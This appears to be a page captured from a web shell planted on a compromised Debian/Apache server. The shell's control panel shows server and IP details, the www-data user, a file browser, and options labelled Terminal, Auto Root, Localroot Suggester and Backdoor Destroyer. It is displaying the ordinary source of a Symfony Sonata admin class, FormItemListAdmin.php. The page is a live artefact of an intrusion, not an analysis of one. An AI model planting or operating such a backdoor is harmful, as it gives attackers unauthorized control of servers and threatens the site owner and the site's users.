Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
ContentBundle /
Admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
FormAdmin.php
6.27
KB
-rwxrwxr-x
2026-05-18 12:51
FormCompletedAdmin.php
3.92
KB
-rwxrwxr-x
2026-05-18 12:51
FormItemAdmin.php
9.15
KB
-rwxrwxr-x
2026-05-18 12:51
FormItemListAdmin.php
6.33
KB
-rwxrwxr-x
2026-05-18 12:51
FormItemTypeAdmin.php
3.1
KB
-rwxrwxr-x
2026-05-18 12:51
FormTypeAdmin.php
2.31
KB
-rwxrwxr-x
2026-05-18 12:51
php_errors.log
1.87
KB
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\ContentBundle\Admin; use Knp\Menu\ItemInterface as MenuItemInterface; use Sonata\AdminBundle\Admin\AbstractAdmin; use Sonata\AdminBundle\Admin\AdminInterface; use Sonata\AdminBundle\Datagrid\ListMapper; use Sonata\AdminBundle\Show\ShowMapper; use Sonata\AdminBundle\Datagrid\DatagridMapper; use Sonata\AdminBundle\Datagrid\ProxyQueryInterface; use Sonata\AdminBundle\Validator\ErrorElement; use Sonata\AdminBundle\Form\FormMapper; use Sonata\AdminBundle\Route\RouteCollectionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage; use Knp\Menu\ItemInterface; use App\ContentBundle\Entity\Form; use App\ContentBundle\Entity\FormItem; /** * Form Item List Admin * * @author Otto Saayman <otto@igotafrica.com> * @package ContentBundle * @subpackage Admin * @version 0.0.1 */ class FormItemListAdmin extends AbstractAdmin { /** * Security Context * @var \Symfony\Component\Security\Core\SecurityContextInterface */ protected $securityContext; /** * Entity manager * @var \Doctrine\ORM\EntityManager */ protected $em; /** * Container * @var $container */ protected $container; protected $formObject; protected $formItemObject; protected function generateBaseRouteName(bool $isChildAdmin = false): string { return 'form_item_list'; } protected function generateBaseRoutePattern(bool $isChildAdmin = false): string { return 'form_item_list'; } public function setSecurityContext(UsageTrackingTokenStorage $securityContext) { $this->securityContext = $securityContext; } /** * @param \Doctrine\ORM\EntityManager $em */ public function setEntityManager($em) { $this->em = $em; } /** * @return null */ public function setContainer($container) { $this->container = $container; } public function getFormObject() { if (is_object($this->formObject)) { return $this->formObject; } $formRepository = $this->em->getRepository(Form::class); if (strlen($this->getRequest()->get('form_id')) > 0) { $this->formObject = $formRepository->find($this->getRequest()->get('form_id')); } if (!is_object($this->formObject)) { $this->formObject = new Form(); } return $this->formObject; } public function getFormItemObject() { if (is_object($this->formItemObject)) { return $this->formItemObject; } $formRepository = $this->em->getRepository(FormItem::class); if (strlen($this->getRequest()->get('form_item_id')) > 0) { $this->formItemObject = $formRepository->find($this->getRequest()->get('form_item_id')); } if (!is_object($this->formItemObject)) { $this->formItemObject = new FormItem(); } return $this->formItemObject; } public function configureQuery(ProxyQueryInterface $query): ProxyQueryInterface { $this->getFormObject(); $query = $this->getModelManager()->createQuery($this->getClass(), 'fil'); $query->join('fil.form_item', 'fi'); $query->where('fi.id=:formItemId')->setParameter("formItemId", $this->getFormItemObject()->getId()); $query->orderBy('fil.order_by'); return $query; } protected function configureFormFields(FormMapper $formMapper): void { $formMapper ->add('list_item') ->add('order_by') ; } protected function configureDatagridFilters(DatagridMapper $datagridMapper): void { $datagridMapper ->add('list_item') ; } protected function configureListFields(ListMapper $listMapper): void { $listMapper ->addIdentifier('list_item') ->add('order_by') ->add('_action', 'actions', array( 'actions' => array( 'show' => array(), 'edit' => array(), 'delete' => array(), ) )) ; } protected function configureShowFields(ShowMapper $showMapper): void { $showMapper ->add('list_item') ->add('order_by') ; } /** * @param App\ContentBundle\Entity\FormItemList $formItemList */ public function preUpdate($formItemList): void { $this->preUpdatePersist($formItemList); } /** * @param App\ContentBundle\Entity\Categories $formItemList */ public function prePersist($formItemList): void { $this->preUpdatePersist($formItemList); } /** * @param App\ContentBundle\Entity\Categories $formItemList */ public function preUpdatePersist($formItemList) { $formItemList->setFormItem($this->getFormItemObject()); } public function configurePersistentParameters(): array { if (!$this->getRequest()) { return array(); } return array( 'form_id' => $this->getRequest()->get('form_id', ''), 'form_item_id' => $this->getRequest()->get('form_item_id', ''), ); } protected function configureRoutes(RouteCollectionInterface $collection): void { $collection->add('edit_form', 'edit_form', array('_controller' => 'App\ContentBundle\Controller\FormAdminController::editAction', '_sonata_admin' => 'content.admin.form')); $collection->add('edit_form_item', 'edit_form_item', array('_controller' => 'App\ContentBundle\Controller\FormItemAdminController::editAction', '_sonata_admin' => 'content.admin.form_item')); } protected function configureTabMenu(ItemInterface $menu, string $action, ?AdminInterface $childAdmin = null): void { $admin = $this->isChild() ? $this->getParent() : $this; $form = $this->getFormObject(); $formItem = $this->getFormItemObject(); if (is_object($form)) { $menu->addChild( 'Back to Form', array('uri' => $admin->generateUrl('edit_form', array('id' => $form->getId()))) ); $menu->addChild( 'Back to Form Item', array('uri' => $admin->generateUrl('edit_form_item', array('form_id' => $form->getId(), 'id' => $formItem->getId()))) ); } } }